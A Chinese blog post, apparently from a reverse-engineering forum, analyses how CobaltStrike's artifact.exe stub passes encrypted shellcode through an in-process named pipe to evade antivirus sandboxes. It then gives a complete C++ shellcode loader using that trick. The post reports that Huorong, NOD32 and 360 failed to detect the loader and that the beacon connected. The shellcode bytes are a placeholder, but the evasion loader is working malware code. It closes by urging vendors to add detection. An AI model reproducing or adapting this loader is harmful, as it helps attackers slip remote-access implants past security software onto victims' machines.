CobaltStrike木马artifact.exe规避火绒，360，node32沙盒的方法分析

刺骨的言语ヽ痛彻心扉 2023-06-11 15:24 84阅读 0赞

最近发现一个奇怪的现象，我用CobaltStrike直接生成一个裸奔测试后门artifact.exe 
![format_png][] 
 
然后使用火绒扫描，火绒居然没有直接查杀 
![format_png 1][] 
 
自己上线自己 
![format_png 2][] 
 
按理说这种被渗透人员大量使用的后门，不管它原本使用了哪些牛逼的沙盒绕过手法都应该被直接特征码定位查杀，根本不不用杀软沙盒分析。很明显，火绒应该是忘了加针对CobaltStrike的特征码，然后使用后一步的沙盒分析但是不幸的是，沙盒分析也被CobaltStrike规避了。所以进一步分析 
![format_png 3][] 
 
代码使用了GCC MinGW编译，程序有两个TLS回调，分析了一遍，感觉并没有什么卵用，应该就是GCC编译后，main函数之前的初始化吧，判断了一下winmajor这个全局变量，看名字和系统版本相关Winmajor<=3就加载mingwm10.dll这个dll，这个应该和MinGW有关吧，系统里面根本没有这个dll 
![format_png 4][] 
 
![format_png 5][] 
 
直接看main函数，逻辑很简单，先call sub\_4027B()没什么卵用的函数，然后call sub\_401800() 这个函数才是搞事的核心，然后死循环Sleep(1000) 
![format_png 6][] 
 
双击进去分析，逻辑也很简单，获取系统时间戳，拼接成字符串\\\\.\\pipe\\MSSE-%d-server的格式，看名字应该和命名管道有关，然后创建了一个线程函数地址是sub\_4016D3的线程，然后调用了函数sub\_4017A2 
![format_png 7][] 
 
分析线程函数sub\_4016D3，直接F5看伪代码吧 
![format_png 8][] 
 
函数sub\_401608有两个参数，第一个参数unk\_403010是一个数组，里面就是加密之后的shellcode，第二个全局变量参数dwSize就是shellcode数组的大小 
![format_png 9][] 
 
跟进sub\_401608，伪代码非常直观，可以直接拿来编译那种 
![format_png 10][] 
 
逻辑很清晰，创建了一个命名管道，管道名字就是前面分析的字符串\\\\.\\pipe\\MSSE-%d-server，然后往管道里面循环写入加密的shellcode数据，直到全部写入 返回分析，前面知道程序创建了线程之后立刻调用了函数sub\_4017A2 
![format_png 11][] 
 
Sleep函数的作用就是保证线程函数创建命名管道成功再开始读取加密的shellcode，跟进sub\_4016F2，也是逻辑非常简单直观的，打开线程创建的命名管道，从管道里面读取加密之后的shellcode 
![format_png 12][] 
 
返回看sub\_401559函数 
![format_png 13][] 
 
数组unk\_403008和加密之后的shellcode是一段连续内存，开始的8字节是解密密钥相关，后面才是加密的shellcode 
![format_png 14][] 
 
跟进sub\_401559，逻辑相当简单了，木马的模板代码，先用VirtualAlloc函数申请内存，解密shellcode写入内存，再用VirtualProtect函数改变内存属性成可执行最后创建线程执行shellcode，解密算法也很简单，加密数据分别和数组unk\_403008开头4字节进行取余亦或运算，unk\_403008开头8字节实际只用了4个字节 
![format_png 15][] 
 
总结：CS使用命名管道进程内部通信的方式传输shellcode，杀软的沙盒并不能很好的模拟此行为，以此绕过了沙盒的代码分析，但是这并不能完全验证是这种方法绕过了沙盒分析决定自己写代码使用此方式加载CobaltStrike的shellcode测试杀软 
1.先使用常规方式直接解密加载shellcode，代码如下

\[C++\] *纯文本查看* *复制代码*

[?][Link 1]

先关闭火绒，直接上线  
![format_png 16][]  
  
然后开启火绒，刚编译就被杀  
![format_png 17][]  
  
2.先使用进程内部命名管道解密加载shellcode，代码如下

\[C++\] *纯文本查看* *复制代码*

[?][Link 1]

<table> 
 <tbody> 
 <tr> 
 <td style="text-align:left;vertical-align:baseline;"> 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 </td> 
 <td style="text-align:left;vertical-align:baseline;"> <code>unsigned </code><code>char</code> <code>data[] = { xxxx };</code> <code>DWORD</code> <code>WINAPI StartAddress(</code><code>LPVOID</code> <code>lpThreadParameter)</code> <code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>return</code> <code>((</code><code>int</code><code>(__stdcall *)(</code><code>LPVOID</code><code>))lpThreadParameter)(lpThreadParameter);</code> <code>}</code> &nbsp; &nbsp; <code>bool</code> <code>pipClient(</code><code>LPVOID</code> <code>lpBuffer, </code><code>DWORD</code> <code>nNumberOfBytesToRead)</code> <code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>DWORD</code> <code>offset = 0;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>DWORD</code> <code>readSize = 0;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>HANDLE</code> <code>hFile = CreateFileA(</code><code>"\\\\.\\xxx\\yyy"</code><code>, 0x80000000, 3u, 0, 3u, 0x80u, 0);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>if</code> <code>(hFile!=INVALID_HANDLE_VALUE)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>while</code> <code>(nNumberOfBytesToRead&gt;0)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>BOOL</code> <code>ret=ReadFile(hFile, ((</code><code>char</code><code>*)lpBuffer + offset), nNumberOfBytesToRead, &amp;readSize, NULL);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>if</code> <code>(!ret)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>break</code><code>;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>nNumberOfBytesToRead -= readSize;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>offset += readSize;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>CloseHandle(hFile);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>return</code> <code>nNumberOfBytesToRead == 0;</code> <code>}</code> &nbsp; <code>bool</code> <code>pipServer(</code><code>LPCVOID</code> <code>lpBuffer, </code><code>DWORD</code> <code>nNumberOfBytesToWrite)</code> <code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>DWORD</code> <code>offset = 0;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>DWORD</code> <code>writeSize = 0;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>HANDLE</code> <code>hFile = CreateNamedPipeA(</code><code>"\\\\.\\xxx\\yyy"</code><code>, 2u, 0, 1u, 0, 0, 0, 0);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>if</code> <code>(hFile != INVALID_HANDLE_VALUE)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>if</code> <code>(ConnectNamedPipe(hFile, 0))</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>while</code> <code>(nNumberOfBytesToWrite&gt;0)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>BOOL</code> <code>ret = WriteFile(hFile, ((</code><code>char</code><code>*)lpBuffer + offset), nNumberOfBytesToWrite, &amp;writeSize, NULL);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>if</code> <code>(!ret)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>break</code><code>;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>nNumberOfBytesToWrite -= writeSize;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>offset += writeSize;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>CloseHandle(hFile);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>return</code> <code>nNumberOfBytesToWrite == 0;</code> <code>}</code> &nbsp; &nbsp; <code>DWORD</code> <code>WINAPI PipWrite(</code><code>LPVOID</code><code>)</code> <code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>pipServer(data, </code><code>sizeof</code><code>(data));</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>return</code> <code>0;</code> <code>}</code> &nbsp; &nbsp; <code>int</code> <code>main(</code><code>int</code> <code>argc, _TCHAR* argv[])</code> <code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PipWrite, NULL, 0, NULL);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>Sleep(600);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>char</code> <code>*buff = (</code><code>char</code><code>*)VirtualAlloc(0, </code><code>sizeof</code><code>(data), 0x3000u, 4u);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>pipClient(buff, </code><code>sizeof</code><code>(data));</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>//解密部分算法</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>DWORD</code> <code>flOldProtect = 0;</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>VirtualProtect(buff, </code><code>sizeof</code><code>(data), 0x20u, &amp;flOldProtect);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, buff, 0, 0);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>while</code> <code>(</code><code>true</code><code>)</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>{ </code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>Sleep(1000);</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>}</code> <code>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</code><code>return</code> <code>0;</code> <code>}</code> </td> 
 </tr> 
 </tbody> 
</table>

开启火绒，直接上线  
![format_png 18][]  
  
继续测试node32，提示安全  
![format_png 19][]  
  
测试360安全卫士+360杀毒小红书，QVM引擎全开联网查杀，提示安全  
![format_png 20][]  
  
哇，这个真的是。。。呼吁杀软厂商感觉把这种过沙盒的方法列入查杀对

[format_png]: /images/20230531/e8c73a3ce5494eafa83c48974aa92847.png
[format_png 1]: /images/20230531/d543fe7a034e4f0a9ed2556faa02c9a2.png
[format_png 2]: /images/20230531/8d1a3fd0b513404cb6a33cb421d58557.png
[format_png 3]: /images/20230531/cdbbbb1b44c84bb6acc04cfc70358e3d.png
[format_png 4]: /images/20230531/1e9c6d25c9cb48db8118bac33f161688.png
[format_png 5]: /images/20230531/0a9f932d18394ffc8a7a88185b3a5a95.png
[format_png 6]: /images/20230531/cca4ab8a4fc747ba9ee92a9f0b74d07d.png
[format_png 7]: /images/20230531/12034f8d01c84fd9992ceb9087edd37a.png
[format_png 8]: /images/20230531/637dd3aab0af491086f800570c9e4f40.png
[format_png 9]: /images/20230531/48228236fe2d406a881466c9284a8376.png
[format_png 10]: /images/20230531/57dcfa00302a497f9ff96d25d2e42c63.png
[format_png 11]: /images/20230531/f26c56ddea1f48d3bd60622b815a3b3c.png
[format_png 12]: /images/20230531/17cb4d073422448cab0b17a8a32c8c90.png
[format_png 13]: /images/20230531/cbe41225a2a94c7282dab69b0cacde1c.png
[format_png 14]: /images/20230531/8f926e14aae24abd9b623c8ad00c46e1.png
[format_png 15]: /images/20230531/664e82110adf4d469e0f2cdc629638a2.png
[Link 1]: https://www.52pojie.cn/#
[format_png 16]: /images/20230531/a1d435df8daa4ff48449142e79e28e6f.png
[format_png 17]: /images/20230531/3b5387e8c42f47fb8de8706fe92d95b0.png
[format_png 18]: /images/20230531/3f0d468470194f5a9d8accd5e7ed3b21.png
[format_png 19]: /images/20230531/46c0fa621e2e40a88f5d165a4202a9e0.png
[format_png 20]: /images/20230531/84b97dad4de043fe95a758eb49d43857.png